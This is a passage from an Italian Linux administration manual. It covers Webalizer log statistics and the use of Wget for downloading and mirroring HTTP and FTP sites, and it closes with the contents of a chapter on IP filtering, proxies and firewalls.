`TopKSites` ***n***		Mostra l'elenco degli indirizzi di origine, in ordine di dimensione dei dati prelevati, contenente al massimo ***n*** voci.
`GroupAgent` ***modello*** ↩ ↪***nome_gruppo***		Dichiara il nome indicato come ultimo argomento della direttiva, al quale si associa tutto il traffico dei programmi che corrispondono al modello. Si osservi che questa direttiva non rimuove le indicazioni dei programmi che vengono raggruppati in questo modo.
`HideAgent` ***modello***		Questa direttiva si usa normalmente dopo una direttiva '**`GroupAgent`**' corrispondente, con lo scopo di non mostrare i nomi dei programmi usati per accedere, che già vengono raggruppati in qualche modo.
`MangleAgents` ***n***	`-M` ***n***	Fa in modo di controllare una prima aggregazione dei programmi usati per accedere. Il numero va da zero a cinque, dove zero richiede di avere tutte le informazioni, mentre cinque le riduce al minimo.
`CountryGraph no`|`yes`	`-Y`	Consente di eliminare il grafico delle nazioni di origine.

Di solito, l'utilizzo di Webalizer è abbastanza semplice, salva l'attenzione che deve essere data al file di configurazione. L'eseguibile che compie il lavoro è '**`webalizer`**', la cui sintassi generale è la seguente:

```
webalizer [opzioni] [file_delle_registrazioni]
```

Alcune delle opzioni sono state descritte a proposito della configurazione; inoltre, come già è stato visto, il file delle registrazioni da analizzare può essere specificato nella configurazione e il file di configurazione può essere indicato espressamente con l'opzione '**`-c`**':

```
-c file_di_configurazione
```

Potendo di indicare il file di configurazione nella riga di comando, è possibile generare statistiche differenti, in base ai contesti di interesse.

In generale, conviene avviare l'eseguibile '**webalizer**' specificando sempre il file di configurazione, in modo tale da non dover mettere altro nella riga di comando, curando solo il contenuto della configurazione, come nell'esempio seguente:

`# webalizer -c /var/www/webalizer.conf` [*Invio*]

Naturalmente, in questo modo, nel file di configurazione bisogna stabilire necessariamente la directory in cui devono essere create le statistiche. Le figure seguenti mostrano alcune porzioni di un esempio di statistica generata da Webalizer.

Figura 46.112. La pagina 'index.html' generata da Webalizer.

Statistiche di utilizzo per a2.swlibero.org

Summary Period: Last 12 Months
Generated 31-Aug-2002 21:14 CEST

Usage summary for a2.swlibero.org
Visits / Sites
45528
2618
Pages / Files / Hits
4823970
Sep Oct Nov Dec Jan Feb Mar Apr May Jun Jul Aug
KBytes

Summary by Month										
Month	Daily Avg				Monthly Totals					
	Hits	Files	Pages	Visits	Sites	KBytes	Visits	Pages	Files	Hits
Aug 2002	6504	4940	4532	374	2070	4823970	2618	31729	34581	45528
Totals						**4823970**	**2618**	**31729**	**34581**	**45528**

La pagina iniziale delle statistiche che si ottengono, mostra un riassunto mensile, con una media giornaliera degli accessi. Selezionando il riferimento ipertestuale corrispondente al nome di un mese, se ne ottengono maggiori dettagli.

Figura 46.113. All'interno delle statistiche di un mese, è interessante sapere quali sono le risorse richieste più di frequente.

Top 10 of 636 Total Entry Pages					
#	Hits		Visits		URL
1	1224	2.69%	752	29.42%	/
2	503	1.10%	457	17.88%	/the_valuable_dos_freeware_page.html
3	1740	3.82%	180	7.04%	/ftp/
4	379	0.83%	63	2.46%	/a21.html
5	43	0.09%	23	0.90%	/a2445.html
6	43	0.09%	21	0.82%	/a2447.html
7	126	0.28%	20	0.78%	/a2.html
8	44	0.10%	18	0.70%	/a2446.html
9	36	0.08%	15	0.59%	/nanobase_1997.html
10	54	0.12%	14	0.55%	/a244.html

La figura precedente mostra in particolare le «pagine di ingresso», o presunte tali. Si tratta in pratica di quelle pagine a cui un utente accede all'inizio della sua visita. Si tratta probabilmente di risorse a cui si arriva attraverso dei segnalibri, oppure dei riferimenti da altri siti.

Figura 46.114. L'elenco dei referenti (si ottiene questa informazione solo se i dati di partenza sono in formato «combinato»).

Top 30 of 72 Total Referrers			
#	Hits		Referrer
1	295	0.65%	- (Direct Request)
2	80	0.18%	http://a2.swlibero.org/
3	34	0.07%	http://a2.swlibero.org/ftp/
4	19	0.04%	http://a2.swlibero.org/a225.html
5	18	0.04%	http://a2.swlibero.org/ftp/PDF/
6	12	0.03%	http://a2.swlibero.org/a21.html
7	12	0.03%	http://a2.swlibero.org/a2489.html
8	8	0.02%	http://a2.swlibero.org/a221.html
9	8	0.02%	http://www.google.it/search
10	7	0.02%	http://a2.swlibero.org

La figura precedente mostra l'elenco degli indirizzi di provenienza per l'ingresso dei visitatori. In questo caso, trattandosi delle statistiche di `http://a2.swlibero.org`, si manifesta una carenza nella configurazione, dove sarebbe stato meglio mascherare i referenti appartenenti al dominio `a2.swlibero.org`. Comunque, si può vedere nell'esempio che uno dei referenti è un noto motore di ricerca.

Figura 46.115. L'elenco delle stringhe di ricerca estrapolate dagli indirizzi referenti.

Top 6 of 6 Total Search Strings			
#	Hits		Search String
1	1	16.67%	dos freeware
2	1	16.67%	freeware dos -windows
3	1	16.67%	linux
4	1	16.67%	nslookup dos
5	1	16.67%	sis pci audio driver
6	1	16.67%	tar dos

I motori di ricerca, quando vengono interpellati, utilizzano solitamente una modalità GET, in modo tale da riportare la stringa di ricerca nello stesso URI contenente l'elenco degli indirizzi che potrebbero corrispondere a ciò che si sta cercando. In tal modo, queste stringhe di ricerca possono apparire come indirizzi referenti; ma se Webalizer riesce a riconoscerle, genera una statistica speciale delle parole o delle stringhe cercate che hanno portato al sito. Nella figura precedente si vede che Webalizer è riuscito a individuare delle stringhe di ricerca dagli indirizzi dei referenti, appartenenti a motori di ricerca noti.

46.8 Wget

Il programma Wget[10] è in grado di prelevare file utilizzando sia il protocollo HTTP, sia FTP. La sua caratteristica più importante è la capacità di operare sullo sfondo, senza bisogno di un terminale attivo. In questo senso, è anche insensibile al segnale '**`SIGHUP`**'.[11]

Wget è predisposto normalmente per il prelievo di un file singolo; per questa ragione, in condizioni normali, quando si fa riferimento a una directory, ammesso che si ottenga l'elenco del suo contenuto, Wget produce un file HTML con tale elenco.

A seconda del fatto che si usi Wget per prelevare materiale attraverso il protocollo HTTP o FTP, il suo comportamento può essere differente; in particolare, quando si utilizza l'FTP, è possibile l'indicazione di metacaratteri (caratteri jolly) per fare riferimento a un gruppo di file.

La scansione ricorsiva deve essere richiesta in modo esplicito attraverso le opzioni o la configurazione, ma mentre nel caso dell'FTP si tratta di un processo abbastanza intuitivo attraverso cui si discendono le varie directory, quando si utilizza il protocollo HTTP ciò significa seguire i riferimenti ipertestuali che si incontrano.

Quando si utilizza Wget per replicare un'area FTP particolare, va tenuto in considerazione il fatto che nella destinazione non vengono eliminati i file che nell'origine invece sono stati rimossi.

46.8.1 Forma dell'URI

Per raggiungere gli oggetti che si vogliono scaricare si utilizzano degli URI, la cui forma può essere espressa dalle sintassi seguenti.

```
http://nodo [:porta] / [percorso]
```

```
ftp://nodo [:porta] / [percorso]
```

```
http://utente [:parola_d'ordine] @nodo [:porta] / [percorso]
```

```
ftp://utente [:parola_d'ordine] @nodo/ [percorso]
```

Generalmente, con il protocollo HTTP, l'indicazione di un utente e di una parola d'ordine non è richiesta e di conseguenza si salta. Nel caso del protocollo FTP è invece obbligatoria l'identificazione: quando queste informazioni non vengono fornite, né nell'URI, né nelle opzioni e nemmeno nei file di configurazione, si utilizza il noto utente anonimo ('**ftp**').

Come accennato, l'utente e la parola d'ordine possono essere forniti attraverso opzioni della riga di comando o direttive dei file di configurazione. A questo proposito, è importante osservare che si gestiscono due coppie diverse di nominativo-utente e parola d'ordine: una per il protocollo FTP e una per HTTP.

Bisogna ricordare che l'indicazione della parola d'ordine nella stessa riga di comando (nell'URI o nelle opzioni) è pericolosa perché risulta visibile nell'elenco dei processi in esecuzione.

46.8.2 File di configurazione

Wget può essere configurato attraverso due file: '`/etc/wgetrc`' e '`~/.wgetrc`'. Il primo rappresenta la configurazione dell'intero sistema e potrebbe essere collocato anche in un'altra posizione del file system, a seconda della particolare distribuzione GNU che si utilizza; il secondo è quello personale dell'utente. Le direttive contenute nel file di configurazione personale prevalgono su quelle della configurazione globale di sistema, ma le opzioni della riga di comando prevalgono a loro volta sulla configurazione.

Il contenuto di questi due file di configurazione segue le stesse regole sintattiche. I commenti sono preceduti dal simbolo '**#**' e così sono ignorate anche le righe bianche. Le direttive vengono espresse in forma di assegnamento di variabile, come indicato di seguito:

```
nome = valore
```

Per la precisione si distingue tra direttive che si riferiscono a modalità di funzionamento che possono essere attivate o disattivate, dove si assegnano le parole chiave '**`on`**' oppure '**`off`**', da quelle in cui deve essere assegnata una stringa contenente una qualche informazione. In particolare, in questo ultimo caso, se si indica una direttiva in cui non si assegna alcun valore, si intende azzerare implicitamente quanto definito precedentemente per quella funzione di Wget, ma lo stesso ragionamento vale naturalmente anche per le opzioni della riga di comando.

46.8.3 Utilizzo del programma

```
wget [opzioni] uri...
```

Wget si materializza in pratica nell'eseguibile '**`wget`**'. Come si può vedere dalla sintassi, l'uso di questo programma può essere molto semplice. È necessaria l'indicazione di almeno un URI e in mancanza di altri dati si intende ottenere solo la copia dell'oggetto a cui fa riferimento l'URI stesso.

La cosa più importante e delicata che può essere regolata attraverso le opzioni è la scansione ricorsiva del punto di origine, soprattutto quando l'URI di partenza fa riferimento al protocollo HTTP.

L'eseguibile '**`wget`**' è esente da segnali '**`SIGHUP`**' e per questo è adatto particolarmente all'uso sullo sfondo (*background*), ma in tal caso è sempre meglio utilizzare '**`nohup`**' per sicurezza, perché alcune shell provvedono a eliminare i processi loro discendenti quando loro stesse terminano di funzionare.

La sintassi indicata è solo una semplificazione; in realtà, l'URI, pur essendo un'informazione necessaria, potrebbe essere fornito attraverso un file locale contenente uno o più riferimenti da scandire.

La tabella seguente elenca alcune opzioni elementari, assieme alle direttive corrispondenti dei file di configurazione.

Opzione o direttiva	Descrizione
`-o` *file* `--output-file=`*file*	Durante il suo funzionamento, vengono generati dei messaggi che normalmente sono emessi attraverso lo standard output. Per evitare che ciò avvenga si può utilizzare questa opzione in modo da creare il file indicato, mettendoci dentro tali messaggi. Se questo file dovesse esistere già, verrebbe cancellato.
`-a` *file* `--append-output=`*file*	Invia nel file indicato i messaggi che altrimenti sarebbero destinati allo standard output, come con l'opzione '**`-o`**', con la differenza che i dati vengono aggiunti al file, se questo esiste già.

`-v`
`--verbose`
`verbose = on`
	Attiva la modalità dettagliata in cui tutte le informazioni vengono emesse. A meno che il programma sia stato compilato in modo particolare, si tratta sempre della modalità predefinita.

`-nv` `verbose = off`	Questa opzione, permette di disattivare la modalità dettagliata, facendo in modo che siano generati solo i messaggi essenziali.

Opzione o direttiva	Descrizione

`-r`
`--recursive`
`recursive = on`
	Questa opzione permette di eseguire una scansione ricorsiva.

`-l` ***n_livelli*** `--level=`***n_livelli*** `reclevel =` ***n_livelli***	Specifica la profondità massima di ricorsione. Questa indicazione è fondamentale quando si vuole riprodurre un URI di tipo HTTP, perché i riferimenti possono andare in ogni direzione. Il valore predefinito è di cinque livelli.

`-nc`
`--no-clobber`
`noclobber = on`
	In condizioni normali, quando si esegue una scansione ricorsiva allo scopo di prelevare una copia di un URI remoto, i file che dovessero essere già presenti nel sistema locale, verrebbero sovrascritti. Utilizzando questa opzione, si evita la sovrascrittura, ma soprattutto si evita che questi vengano caricati dal nodo remoto. Se si tratta di file HTML, cioè file da cui si può partire per un livello di ricorsione successivo, questi vengono semplicemente letti dal sistema locale.
	In tal modo, questa opzione è importante per riprendere lo scarico di un URI remoto che in precedenza è stato interrotto.

`-t` ***n_tentativi*** `--tries=`***n_tentativi*** `tries =` ***n_tentativi***	Permette di definire un numero di tentativi per accedere alla risorsa. Se si utilizza il numero zero, o la parola chiave '**`inf`**', si intende fare in modo che '**`wget`**' tenti all'infinito.
`-P` ***directory_locale*** `--directory-prefix=`***directory_locale*** `dir_prefix =` ***directory_locale***	Permette di definire una posizione diversa dalla directory corrente per lo scarico dei file dall'URI remoto.

Gli esempi seguenti partono dal presupposto che non sia stato predisposto alcun file di configurazione, per cui tutto quanto è descritto dalla riga di comando.

- `$` **`wget "http://dinkel.brot.dg/listino.html"`** [*Invio*]

  Preleva il file '`listino.html`' dall'URI '`http://dinkel.brot.dg/listino.html`', salvandolo nella directory corrente.

- `$` **`wget "ftp://dinkel.brot.dg/pub/listino.html"`** [*Invio*]

  Preleva il file '`listino.html`' dall'URI '`ftp://dinkel.brot.dg/pub/listino.html`', salvandolo nella directory corrente.

- `$` **`wget "http://dinkel.brot.dg/"`** [*Invio*]

  Genera il file '`index.html`' nella directory corrente, contenente quanto restituito dall'URI '`http://dinkel.brot.dg/`' (potrebbe trattarsi effettivamente dell'elenco del contenuto oppure di una pagina di ingresso).

- `$` **`wget "ftp://dinkel.brot.dg/"`** [*Invio*]

Genera il file '`index.html`' nella directory corrente, contenente l'elenco del contenuto dell'URI '`ftp://dinkel.brot.dg/`'.

- `$ wget -r "ftp://dinkel.brot.dg/pub/progetto/"` [*Invio*]

  Riproduce l'URI '`ftp://dinkel.brot.dg/pub/progetto/`' con tutto il contenuto della directory specificata e di quelle successive fino al massimo numero di livelli predefinito (cinque), generando il percorso '`./dinkel.brot.dg/pub/progetto/...`' nella directory corrente.

- `$ wget -r -l inf "ftp://dinkel.brot.dg/pub/progetto/"` [*Invio*]

  Come nell'esempio precedente, ma viene riprodotto tutto il ramo '`progetto/`', senza limiti di livelli di ricorsione. Infatti, trattandosi del protocollo FTP, non si pongono problemi a questo tipo di scelta, dal momento che la struttura ha un termine.

- `$ wget -r -l inf -nc "ftp://dinkel.brot.dg/pub/progetto/"` [*Invio*]

  Come nell'esempio precedente, con la differenza che, se parte dei file contenuti nell'URI remoto sono già presenti localmente, questi non vengono prelevati effettivamente.

- `$ nohup wget -r -l inf -nc -o ~/mio_log ↩`
  `↪ "ftp://dinkel.brot.dg/pub/progetto/" &` [*Invio*]

  Come nell'esempio precedente, con la differenza che il processo viene messo sullo sfondo (*background*) e viene controllato da '**`nohup`**', in modo da garantire che non sia interrotto quando la shell termina di funzionare. Inoltre viene generato il file '`~/mio_log`' con i messaggi emessi.

- `$ wget -r "http://dinkel.brot.dg/progetto/"` [*Invio*]

  Riproduce l'URI '`http://dinkel.brot.dg/progetto/`' con tutto il contenuto, in base ai riferimenti che vengono incontrati, fino al massimo numero di livelli predefinito (cinque), generando il percorso '`./dinkel.brot.dg/progetto/...`' nella directory corrente.

- `$ wget -r -nc "http://dinkel.brot.dg/progetto/"` [*Invio*]

  Come nell'esempio precedente, ma i file già esistenti non vengono prelevati nuovamente e di conseguenza non vengono sovrascritti.

46.8.4 Scansione a partire da un file locale

L'eseguibile '**`wget`**' permette di non indicare alcun URI nella riga di comando, utilizzando al suo posto l'inclusione di un file locale. Questa modalità viene utilizzata normalmente in modo congiunto a quella ricorsiva, ottenendo la scansione di tutti gli indirizzi URI contenuti nel file.

Il file può essere in formato HTML (è la cosa migliore) e in tal caso vengono seguiti i riferimenti ipertestuali, altrimenti può andare bene anche un file di testo contenente un elenco di indirizzi puri e semplici. Il problema si pone semmai quando il file indicato è in HTML, ma incompleto; in questo caso occorre specificare con un'opzione apposita che deve essere interpretato come HTML.

Gli indirizzi URI dovrebbero essere assoluti; se non lo sono, si può utilizzare un'opzione apposita per indicare l'URI di partenza, oppure, se si tratta di un file HTML, si può aggiungere un elemento speciale:

```
<base href="uri">
```

Tuttavia, è bene tenere presente che si tratta di un elemento non previsto nel DTD dell'HTML, quindi va usato solo in questa circostanza.

Opzione o direttiva	Descrizione
`-i` *file* `--input-file=`*file* `input =` *file*	Permette di indicare il file (HTML o un semplice elenco di URI) da utilizzare come punto di partenza per una scansione ricorsiva.

`-F`
`--force-html`
`force_html = on`
	Richiede di interpretare il file indicato come HTML.

`--base=`*uri* `base =` *uri*	Specifica esplicitamente un URI di partenza per i riferimenti relativi contenuti nel file.

Segue la descrizione di alcuni esempi.

- `$` **`wget -r -i elenco.html`** [*Invio*]

  Scandisce tutti i riferimenti che trova nel file '`elenco.html`'.

- `$` **`wget -r -i elenco --force-html`** [*Invio*]

  Come nell'esempio precedente, con la differenza che il file '`elenco`' non viene riconosciuto automaticamente come HTML, per cui è stata aggiunta l'opzione '**`--force-html`**'.

- `$` **`wget -r -i elenco --base="http://dinkel.brot.dg/"`** [*Invio*]

  Viene scandito il file '`elenco`' (il tipo di questo viene determinato in modo automatico), ma in più viene specificato che gli indirizzi relativi hanno il prefisso '`http://dinkel.brot.dg/`'.

46.8.5 Scansione ricorsiva

La scansione ricorsiva di un URI è ciò che genera i problemi maggiori nella gestione di Wget, cosa che dovrebbe essere già stata compresa dall'esposizione fatta fino a questo punto. La scansione ricorsiva di un URI di tipo FTP è abbastanza intuitiva, dal momento che si riferisce a un ramo di directory, mentre quando si tratta di un URI di tipo HTTP, questa ricorsione si basa sui riferimenti '**`HREF`**' e '**`SRC`**'; quando poi il file scaricato è di tipo '**`text/html`**', questo viene scandito alla ricerca di altri riferimenti da seguire.

Soprattutto quando si opera con il protocollo HTTP, è importante porre un limite alla ricorsione, dal momento che i riferimenti possono articolarsi in modi imprevedibili. Ma oltre a questo,

può essere conveniente limitare la scansione ricorsiva ai riferimenti relativi, oppure a quelli di un dominio particolare.

Quando la scansione ricorsiva è normale, cioè non si limita ai soli riferimenti relativi, si pone il problema di trattare convenientemente i riferimenti ipertestuali assoluti che puntano allo stesso nodo in cui si trovano. Infatti, può accadere che due nomi si riferiscano allo stesso nodo; in tal caso non ha senso sdoppiare i percorsi, anche perché si rischierebbe di duplicare lo scarico di alcuni file. Per risolvere questo problema, Wget interpella il sistema DNS in modo da verificare se si tratta della stessa macchina o meno.

La vera difficoltà nasce quando il servente HTTP distingue tra nodi virtuali differenti, a cui corrisponde però lo stesso indirizzo IP, in base all'uso di un diverso alias per raggiungere lo stesso elaboratore. In tal caso, occorre informare Wget di ignorare il sistema DNS e limitarsi al confronto letterale dei nomi dei nodi.

Opzione o direttiva	Descrizione

`-L`
`--relative`
`relative_only = on`
	Fa in modo di seguire solo i riferimenti relativi, escludendo quindi qualunque URI completo dell'indicazione del nodo.

`-np`
`--no-parent`
`no_parent = on`
	Permette di evitare che siano attraversate directory precedenti a quella dell'URI di partenza.

`-X` ***elenco_directory*** `--exclude` ***elenco_directory*** `exclude_directories =` ↩ ↪***elenco_directory***	Permette di escludere un elenco di directory dalla scansione ricorsiva.
`-nH` `add_hostdir = off`	Disabilita la creazione di directory locali prefissate dal nome del nodo di origine. Di solito, in presenza di una scansione ricorsiva di un URI, viene creata localmente una struttura di directory che riproduce il sistema remoto, a partire dal nome del nodo stesso. Questa opzione è utile solo quando si è sicuri che i riferimenti non si sviluppano all'indietro (eventualmente attraverso l'uso di opzioni opportune), come quando si opera con URI di tipo FTP.
`-nh`	Disabilita il controllo DNS; in tal modo non viene verificato se due nomi di dominio appartengono in realtà allo stesso nodo.
`-D` ***elenco_domini*** `--domains=`***elenco_domini*** `domains =` ***elenco_domini***	Permette di definire un elenco di domini accettabili. In pratica, si permette a Wget di seguire i riferimenti a nodi differenti da quello di partenza, purché appartengano ai domini elencati.

Opzione o direttiva	Descrizione

`-k`
`--convert-links`
`convert_links = on`
	In questo modo si ottiene di convertire i riferimenti assoluti in riferimenti relativi, limitatamente ai file scaricati effettivamente.

Segue la descrizione di alcuni esempi.

- `$` **`wget -r -L -np "http://dinkel.brot.dg/progetto/"`** [*Invio*]

  Riproduce l'URI '`http://dinkel.brot.dg/progetto/`' con tutto il contenuto, in base ai riferimenti **relativi** che vengono incontrati, escludendo quelli che si riferiscono a posizioni precedenti alla directory '`/progetto/`', fino al massimo numero di livelli predefinito (cinque), generando il percorso '`./dinkel.brot.dg/progetto/`...' nella directory corrente.

- `$` **`wget -r -L -np "http://dinkel.brot.dg/progetto/"`** ↩
  ↪ **`-X /progetto/img/,/progetto/x/`** [*Invio*]

  Come nell'esempio precedente, con l'aggiunta che non vengono riprodotte le directory '`/progetto/img/`' e '`/progetto/x/`'.

- `$` **`wget -r -D .brot.dg "http://dinkel.brot.dg/"`** [*Invio*]

  Riproduce l'URI '`http://dinkel.brot.dg/progetto/`' seguendo anche i riferimenti ad alti nodi purché appartenenti al dominio *`.brot.dg`*.

46.8.6 Selezione dei file in base al loro nome

Quando si scandisce un URI remoto in modo ricorsivo, è possibile definire i file da scaricare in base al nome. Nel caso particolare del protocollo FTP, si possono utilizzare i noti metacaratteri (caratteri jolly) nello stesso URI, mentre con il protocollo HTTP le cose cambiano perché ci si deve sempre affidare alla scansione dei riferimenti contenuti nelle pagine HTML.

Opzione o direttiva	Descrizione
`-A` ***elenco_da_accettare*** `--accept` ***elenco_da_accettare*** `accept =` ***elenco_da_accettare***	In questo modo si può specificare un elenco di suffissi o di modelli espressi attraverso metacaratteri riferiti a file che si vogliono scaricare. In pratica, si scaricano solo questi file, o meglio, gli altri che sono serviti per raggiungerli vengono rimossi successivamente.
`-R` ***elenco_da_escludere*** `--reject` ***elenco_da_escludere*** `reject =` ***elenco_da_escludere***	In questo modo si può specificare un elenco di suffissi o di modelli espressi attraverso metacaratteri riferiti a file che **non** si vogliono scaricare. Tutti gli altri file vanno bene.

Segue la descrizione di alcuni esempi.

- $ **wget -r -A "*.gif,*.jpg" "http://dinkel.brot.dg/progetto/"** [*Invio*]

  Salva localmente solo i file che terminano per '`.gif`' e '`.jpg`', provenienti dall'URI '`http://dinkel.brot.dg/progetto/`'.

- $ **wget -r -R "*.gif,*.jpg" "http://dinkel.brot.dg/progetto/"** [*Invio*]

  Come nell'esempio precedente, con la differenza che viene scaricato tutto fuorché i file che terminano per '`.gif`' e '`.jpg`'.

46.8.7 Identificazioni e parole d'ordine

Si è già accennato al fatto che il nome dell'utente e la parola d'ordine eventualmente necessari per accedere a determinati servizi FTP e HTTP possono essere inseriti nello stesso URI. In alternativa si possono usare delle opzioni apposite o delle direttive dei file di configurazione.

È bene ricordare che solo inserendo le parole d'ordine all'interno del file di configurazione personale si può evitare che queste siano visibili, perché se si immettono direttamente nella riga di comando, queste diventano accessibili dall'elenco dei processi, per tutti gli utenti.

Opzione o direttiva	Descrizione
`--http-user` ***utente*** `http_user =` ***utente***	Permette di definire il nominativo-utente da usare per una connessione HTTP a un particolare URI che richiede l'identificazione.
`--http-passwd` ***parola_d'ordine*** `http_passwd =` ***parola_d'ordine***	Permette di definire la parola d'ordine da usare per una connessione HTTP a un particolare URI che richiede l'identificazione.
`passwd =` ***parola_d'ordine***	Permette di definire la parola d'ordine da usare per una connessione FTP.

46.8.8 Riproduzione speculare e informazioni data-orario

Quando si vuole riprodurre un URI remoto e si vuole mantenere la copia locale allineata con quella remota, la cosa più importante da verificare è la variazione dell'informazione data-orario degli oggetti remoti. In pratica, si vuole ottenere che:

- vengano scaricati i file remoti se non sono già presenti nel sistema locale, o se la dimensione non combacia;
- vengano scaricati i file remoti se la loro data di modifica è più recente rispetto a quella dei file locali.

Opzione o direttiva	Descrizione

`-N`
`--timestamping`
`timestamping = on`
	Si fa in modo che venga attuato il meccanismo di aggiornamento in base alla verifica delle date, evitando così di ripetere ogni volta il prelievo di dati già esistenti localmente e presumibilmente aggiornati.

`-m`
`--mirror`
`mirror = on`
	Equivale alla richiesta di una ricorsione infinita assieme all'attivazione di '**`timestamping`**' e '**`noclobber`**'.

L'esempio seguente serve a riprodurre nella directory corrente ciò che si dirama a partire da '`http://dinkel.brot.dg/articoli/`' senza seguire riferimenti in altri nodi, né all'interno di percorsi che si articolano da posizioni precedenti gerarchicamente. In particolare vengono trasformati i riferimenti in modo che siano solo relativi (senza l'indicazione del nodo)

```
# wget --mirror --relative --no-parent ↩
↪     -nH "http://dinkel.brot.dg/articoli/" [Invio]
```

Questo esempio rappresenta l'utilizzo di Wget per ottenere la riproduzione speculare di un'area HTTP. Tuttavia, il difetto di questo approccio sta nel fatto che Wget non è in grado di verificare la scomparsa di file dall'origine, per cui non può provvedere da solo alla loro eliminazione.

46.8.9 Funzionalità varie

Altre funzionalità di Wget possono essere molto utili e queste sezioni non esauriscono la descrizione delle possibilità che ci sarebbero. Per approfondire lo studio di Wget occorre consultare la sua documentazione, che normalmente è disponibile in forma di ipertesto Info: *info wget*. La tabella successiva riporta altre opzioni di una certa importanza che non hanno trovato posto nelle altre tabelle analoghe.

Opzione o direttiva	Descrizione
`-c` `--continue`	Permette di riprendere il prelievo di un file (uno solo) continuando da dove l'operazione è stata interrotta precedentemente. Questa opzione è efficace solo se il servente relativo è predisposto per questa funzionalità.
`-Q` ***dimensione*** `--quota` ***dimensione*** `quota =` ***dimensione***	Permette di definire il limite massimo di spazio utilizzabile per i prelievi, quando questi sono fatti in modo **ricorsivo**. Il valore della dimensione viene espresso da un numero che rappresenta una quantità di byte. Se questo numero è seguito dalla lettera '**`k`**', indica unità in kibibyte (simbolo: «Kibyte»), altrimenti, se è seguito dalla lettera '**`m`**', si riferisce a unità in mebibyte (simbolo: «Mibyte»).

Opzione o direttiva	Descrizione
`--spider`	In questo modo si ottiene soltanto la verifica che l'URI indicato rappresenti un oggetto esistente. Se l'oggetto non esiste, o non è raggiungibile, l'eseguibile '**`wget`**' termina di funzionare restituendo un valore diverso da zero, cosa che può servire per costruire degli script per la verifica di un elenco di URI, per esempio quello di un segnalibro di un programma di navigazione. Purtroppo, tale funzionalità non si adatta bene al protocollo FTP.
`-w` ***n_secondi*** `--wait` ***n_secondi*** `wait =` ***n_secondi***	Permette di stabilire un intervallo di tempo tra il prelievo di un file e il successivo. È molto utile per alleggerire il carico del sistema locale, di quello remoto e dell'utilizzo della banda.

46.9 Riferimenti

- *W3C, World Wide Web Consortium*

  ⟨*http://www.w3.org/* ⟩
- Michiel Boland, *Mathopd*

  ⟨*http://www.mathopd.org/* ⟩
- Ian Graham, *Web/HTML Documentation and Developer's Resource*

  ⟨*http://www.utoronto.ca/webdocs/* ⟩
- Christian Neuss, Johan Vromans, *Perl, guida pratica*, Apogeo, 1996
- Steven Brenner, '**`cgi-lib.pl`**', libreria standard per la creazione di script CGI in Perl

  ⟨*http://cgi-lib.berkeley.edu/* ⟩
- *ht://Dig*

  ⟨*http://www.htdig.org/* ⟩
- *Webalizer*

  ⟨*http://www.mrunix.net/webalizer/* ⟩

[1] **W3M** software libero con licenza speciale

[2] **Mathopd** software libero con licenza speciale

[3] L'uso del punto interrogativo rende la cosa intuitiva: la richiesta viene fatta attraverso un'interrogazione.

[4] I motori di ricerca utilizzano normalmente il metodo '**`GET`**', perché consente di trasmettere l'interrogazione richiesta nell'indirizzo usato, il quale viene memorizzato dai serventi HTTP come referente. Questa è una situazione pratica in cui il metodo '**`POST`**' non sarebbe adatto.

[5] L'esempio del file '`form-test.html`' viene proposto secondo lo standard HTML 4.01, perché alcuni attributi usati sono incompatibili con ISO-HTML.

[6] **ht://Dig** GNU GPL

[7] La dichiarazione del modulo, con l'elemento '**`FORM`**' va verificata per quanto riguarda l'attributo '**`ACTION`**', che deve puntare esattamente al programma CGI di ht://Dig, presso il sito che interessa.

[8] Eventualmente, le statistiche di accesso possono servire anche per dimostrare la visibilità reale di pagine a contenuto pubblicitario, ma rimane il fatto che sia facile creare dei file di registrazioni fasulli per ingannare i finanziatori.

[9] **Webalizer** GNU GPL con l'uso di una libreria che ha una licenza differente

[10] **Wget** GNU GPL

[11] Alcune shell, quando concludono la loro attività, cercano di eliminare i processi loro discendenti, senza limitarsi a inviare un semplice '**`SIGHUP`**'. In tal caso conviene avviare '**`wget`**' attraverso '**`nohup`**'.

Capitolo 47

Filtri, proxy e ridirezione del traffico IP

47.1 Traffico IPv4 e filtri 2624

47.1.1 Caratteristiche elementari dei protocolli fondamentali 2624
47.1.2 Porte 2625
47.1.3 Frammentazione IP 2626
47.1.4 Pacchetti SYN 2627
47.1.5 Conseguenze nell'introduzione di un filtro 2627

47.2 Cache proxy 2628

47.2.1 Schema essenziale 2629
47.2.2 Dal lato del cliente 2631
47.2.3 Caratteristiche comuni ai cache proxy da considerare 2632
47.2.4 OOPS 2633

47.3 PICS: *Platform for Internet content selection* 2640

47.3.1 Come si classifica 2640
47.3.2 Come si pubblica la classificazione 2641
47.3.3 Come si sceglie e come si interpreta la classificazione 2642

47.4 Introduzione ai concetti di firewall e di NAT/PAT 2642

47.4.1 Firewall in forma di filtri di pacchetto 2643
47.4.2 Esempi di utilizzo di firewall 2646
47.4.3 Annotazioni finali sulla gestione di un firewall 2648
47.4.4 NAT/PAT 2649

47.5 Firewall con kernel Linux 2651

47.5.1 Schema generale di funzionamento del kernel 2652
47.5.2 IPTables per l'amministrazione del firewall 2653
47.5.3 Estensioni particolari 2668
47.5.4 Strategie 2671
47.5.5 Contabilizzazione del traffico 2675
47.5.6 Registrazione del traffico 2676
47.5.7 Raggruppamenti di regole al di fuori dei punti di controllo standard 2677

47.6 NAT/PAT con kernel Linux 2678

47.6.1 Struttura e punti di intervento 2678
47.6.2 Gestione con IPTables 2679
47.6.3 Modifica dell'origine 2679
47.6.4 Modifica della destinazione 2681

47.7 Annotazioni sull'uso di un router ADSL per le utenze comuni 2683

47.7.1 Protocolli di comunicazione 2683
47.7.2 Comunicazione e configurazione con il router ADSL 2684
47.7.3 Controllo 2687
47.7.4 DNS 2688
47.7.5 Protezione e accesso dall'esterno 2688
47.7.6 Configurazione con indirizzi statici 2691

47.8 Riferimenti 2693

`iptables` 2653 `oops` 2633 `oops.cfg` 2633 `$ftp_proxy` 2631 `$gopher_proxy` 2631 `$http_proxy` 2631 `$wais_proxy` 2631

47.1 Traffico IPv4 e filtri

Prima di poter studiare i meccanismi di filtro del traffico IP occorre conoscere alcuni concetti elementari che riguardano questi protocolli; diversamente diventa difficile comprendere il senso delle cose che si fanno. In particolare è il caso di ripetere inizialmente l'abbinamento tra il modello ISO-OSI e la realtà del TCP/IP (l'argomento è trattato approfonditamente nella sezione 38.1).

Figura 47.1. Abbinamento tra il modello ISO-OSI e la realtà dei protocolli TCP/IP.

ISO-OSI			
applicazione	*applicazione con il suo protocollo (FTP, HTTP, SMTP, ecc.)*	*applicazione*	
presentazione			
sessione		*protocollo dell'applicazione*	
